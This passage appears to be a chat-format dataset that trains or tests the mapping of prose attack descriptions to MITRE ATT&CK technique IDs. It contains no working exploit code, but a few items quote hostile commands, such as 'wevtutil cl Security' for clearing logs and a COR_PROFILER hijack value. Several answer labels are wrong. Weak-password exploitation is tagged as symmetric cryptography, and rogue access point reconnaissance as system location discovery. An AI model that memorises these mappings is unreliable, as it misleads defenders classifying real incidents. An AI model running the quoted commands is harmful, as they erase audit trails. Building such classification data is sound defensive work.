                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion creates a forged .url shortcut on the user's desktop that loads a malicious PowerShell command when opened."
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors rename their payloads with a space character at the end of the name to evade file integrity monitoring tools."
            },
            {
                "role": "assistant",
                "content": "T1036.006 - Masquerading: Space after Filename"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use Mimikatz on a compromised domain controller to add new privileged accounts."
            },
            {
                "role": "assistant",
                "content": "T1556.001 - Modify Authentication Process: Domain Controller Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker gains write access to the service's registry configuration and redirects it to a malicious script."
            },
            {
                "role": "assistant",
                "content": "T1574.011 - Hijack Execution Flow: Services Registry Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries conduct reconnaissance on the victim’s business relationships by reviewing conference speaker lists and partnership announcements."
            },
            {
                "role": "assistant",
                "content": "T1591.002 - Gather Victim Org Information: Business Relationships"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware periodically sends GET requests to a malicious URL that returns a JSON payload containing new instructions."
            },
            {
                "role": "assistant",
                "content": "T1102.001 - Web Service: Dead Drop Resolver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor uses a script to repeatedly call a file‑processing API, consuming all available file handles and causing the host application to stop responding."
            },
            {
                "role": "assistant",
                "content": "T1499.003 - Endpoint Denial of Service: Application Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker manipulates account settings to create persistence on a compromised system, such as setting up an auto-start mechanism for malware, what tactic does this belong to?"
            },
            {
                "role": "assistant",
                "content": "T1547 - Boot or Logon Autostart Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder scrapes the firm’s job board to see shift patterns and staffing cycles, revealing when key staff are present."
            },
            {
                "role": "assistant",
                "content": "T1591.003 - Gather Victim Org Information: Identify Business Tempo"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses PowerShell to register an event subscription via “Register-WmiEvent” that persists across reboots."
            },
            {
                "role": "assistant",
                "content": "T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used a compromised third‑party proxy to bounce command‑and‑control traffic, employing the external proxy technique to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1090.002 - Proxy: External Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During post‑exploitation, the operator executed a script that reads the LSA Secrets registry values to harvest stored credentials."
            },
            {
                "role": "assistant",
                "content": "T1003.004 - OS Credential Dumping: LSA Secrets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors gather and stage data on an infected host, using a staging directory to batch files for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor creates a compromised container image, pushes it to the target’s Kubernetes cluster, and starts it to achieve persistence."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion includes a module that watches for removable media connections and exfiltrates recent browsing history onto the media."
            },
            {
                "role": "assistant",
                "content": "T1052.001 - Exfiltration Over Physical Medium: Exfiltration over USB"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged a compromised Docker image that contained embedded Git credentials to clone private repositories."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An APT group employs a custom C++ program that hooks the DirectX surface and extracts frame buffers."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor creates a new process with the same name as a system utility and nests it under the same parent, misleading monitoring tools."
            },
            {
                "role": "assistant",
                "content": "T1036.009 - Masquerading: Break Process Trees"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using PowerShell, the adversary retrieves environment variables, OS build number, and installed software list."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary disables the Linux audit daemon and clears command history files to avoid detection of their privilege escalation steps."
            },
            {
                "role": "assistant",
                "content": "T1562.003 - Impair Defenses: Impair Command History Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In order to move laterally, the attacker utilizes DCOM to call a COM object on another host and run malicious code."
            },
            {
                "role": "assistant",
                "content": "T1021.003 - Remote Services: Distributed Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a supply chain attack, the malicious actor inserted a vulnerable library into a software update, which, when executed, gave them persistent access and new capabilities."
            },
            {
                "role": "assistant",
                "content": "T1588.005 - Obtain Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a DNS tunnel to exfiltrate sensitive information from a compromised system"
            },
            {
                "role": "assistant",
                "content": "T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker crafts an exploit for an outdated SSH daemon to gain unauthorized shell access to Linux servers."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The script checks for the existence of known sandbox files like 'C:\\ProgramData\\Sandboxie\\' before proceeding."
            },
            {
                "role": "assistant",
                "content": "T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group abuses the OS credential vault to pull out saved RDP credentials for remote access."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the compromise, the attacker performs LSASS memory dumping to retrieve cached credentials."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A stealthy tool intercepts and rewrites SOAP messages in transit, changing authentication tokens to grant unauthorized access."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor altered the Azure Network Security Group rules, disabling the default deny and permitting all inbound traffic from any source."
            },
            {
                "role": "assistant",
                "content": "T1562.007 - Impair Defenses: Disable or Modify Cloud Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email contains a PDF that exploits a viewer vulnerability when the user clicks 'Open', launching the malicious code."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant retrieves the system's Wi‑Fi SSID and BSSID to approximate the device's physical location."
            },
            {
                "role": "assistant",
                "content": "T1614 - System Location Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder deploys a fake Wi‑Fi hotspot that requires devices to authenticate via WPA2 Enterprise, capturing the credentials entered by connected users."
            },
            {
                "role": "assistant",
                "content": "T1187 - Forced Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Trojan adds meaningless metadata to documents to confuse forensic tools."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Data Obfuscation: Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder alters the virtual machine’s base image to include a stealthy implant that activates on VM launch."
            },
            {
                "role": "assistant",
                "content": "T1525 - Implant Internal Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a vulnerable driver to map malicious code into the memory of a high-privilege process."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion uses a custom protocol that encrypts payloads with the victim's public key before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers abused the winrm quickconfig command to enable remote management and then deployed a backdoor via WinRM sessions."
            },
            {
                "role": "assistant",
                "content": "T1021.006 - Remote Services: Windows Remote Management"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An insider physically steals a laptop’s external hard drive that contains copied confidential files."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A persistent threat adds a drop-in configuration to a systemd service, altering its environment variables to launch a hidden payload."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By placing a rogue binary in a parent directory that has an unquoted path, the attacker hijacks the execution of a scheduled task that references the folder without quotes."
            },
            {
                "role": "assistant",
                "content": "T1574.009 - Hijack Execution Flow: Path Interception by Unquoted Path"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor employs multi-stage communication by first installing a loader, which later contacts a C2 server to retrieve the final ransomware payload."
            },
            {
                "role": "assistant",
                "content": "T1104 - Multi-Stage Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion uses a signed PowerShell script where the signature has been corrupted, allowing it to bypass application whitelisting while appearing legitimate."
            },
            {
                "role": "assistant",
                "content": "T1036.001 - Masquerading: Invalid Code Signature"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware captures Kerberos tickets during authentication and uses them later to move laterally within the network."
            },
            {
                "role": "assistant",
                "content": "T1558 - Steal or Forge Kerberos Tickets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware configures a scheduled job to execute a PowerShell command with elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During infection, the payload alters the environment to include COR_PROFILER=malicious.dll, causing .NET runtime to load the malicious component."
            },
            {
                "role": "assistant",
                "content": "T1574.012 - Hijack Execution Flow: COR_PROFILER"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a custom C++ tool, the intruder parses the SYSVOL directory to enumerate GPO files."
            },
            {
                "role": "assistant",
                "content": "T1615 - Group Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious payload executes \"Get-WmiObject -Class Win32_UserAccount\" via PowerShell to enumerate accounts."
            },
            {
                "role": "assistant",
                "content": "T1087 - Account Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation tool imports a rogue certificate into the machine's personal store to evade detection by security software."
            },
            {
                "role": "assistant",
                "content": "T1608.003 - Stage Capabilities: Install Digital Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary encoded exfiltrated log files and added them as blobs in a public Git repository, then shared the repository URL with the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1567.001 - Exfiltration Over Web Service: Exfiltration to Code Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group exfiltrated a keylogger to a remote host by moving the file over an infected host's mapped network drive."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries embed a 256‑bit secret key in the malware binary and use it to encrypt all C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker abuses a vulnerable API that returns the contents of configuration files, retrieving an unsecured private key used for internal service authentication."
            },
            {
                "role": "assistant",
                "content": "T1552.004 - Unsecured Credentials: Private Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor initiates a direct network flood by sending a flood of ICMP fragmentation-needed packets, exhausting the victim's processing capabilities."
            },
            {
                "role": "assistant",
                "content": "T1498.001 - Network Denial of Service: Direct Network Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor performs a GraphQL request against the organization's cloud identity provider to dump permission groups."
            },
            {
                "role": "assistant",
                "content": "T1069.003 - Permission Groups Discovery: Cloud Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performs cloud storage discovery by listing all objects in a DigitalOcean Spaces bucket."
            },
            {
                "role": "assistant",
                "content": "T1619 - Cloud Storage Object Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email contains a DDE link that triggers the execution of a malicious DLL via the Windows Explorer process."
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploits the DLL search order by creating a counterfeit DLL with a matching name in a directory that appears earlier in the search path."
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exploiting weak or default passwords on devices or applications"
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised host tunnels remote desktop traffic through UDP packets to evade network monitoring tools."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation tool runs 'wevtutil cl Security' and then disables the Event Log service."
            },
            {
                "role": "assistant",
                "content": "T1562.002 - Impair Defenses: Disable Windows Event Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits the system's module tracking mechanism by inserting a bogus DLL entry, making security tools believe the module is benign."
            },
            {
                "role": "assistant",
                "content": "T1055.015 - Process Injection: ListPlanting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses the built‑in Windows API `NetLocalGroupEnum` to enumerate local groups for privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary leverages the insecure handling of passwords in Group Policy Preferences to harvest credentials for domain and local accounts."
            },
            {
                "role": "assistant",
                "content": "T1552.006 - Unsecured Credentials: Group Policy Preferences"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Conducting reconnaissance on a wireless network by identifying rogue access points and unauthorized devices."
            },
            {
                "role": "assistant",
                "content": "T1614 - System Location Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses native API functions like VirtualAlloc and WriteProcessMemory to inject code into another process."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the 'ditto' utility, the attacker copies a file and injects malicious content into its resource fork."
            },
            {
                "role": "assistant",
                "content": "T1564.009 - Hide Artifacts: Resource Forking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries edit the system's syslog configuration to exclude command execution events from logs."
            },
            {
                "role": "assistant",
                "content": "T1562.003 - Impair Defenses: Impair Command History Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious macro writes extracted email archives to any mounted removable media point."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder escalates privileges by exploiting a setuid binary with insecure PATH environment variable."
            },
            {
                "role": "assistant",
                "content": "T1574.007 - Hijack Execution Flow: Path Interception by PATH Environment Variable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary modifies the OpenSSL configuration to force the use of CBC mode ciphers instead of AEAD."
            },
            {
                "role": "assistant",
                "content": "T1600 - Weaken Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code directly calls Windows Native API functions such as NtCreateThreadEx to spawn new processes without using higher-level Win32 APIs."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Trojan updates the system's power configuration file to set the display timeout to zero, keeping the screen on."
            },
            {
                "role": "assistant",
                "content": "T1653 - Power Settings"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries copy their malicious binaries onto USB flash drives and distribute them to offline systems to achieve persistence."
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script modifies the network device's login banner to capture credentials."
            },
            {
                "role": "assistant",
                "content": "T1556.004 - Modify Authentication Process: Network Device Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email contains a PowerShell attachment that launches a VBScript via cscript.exe to establish a reverse shell."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a phishing‑derived credential, the attacker establishes an Outlook rule that redirects all inbound mail to a private account."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
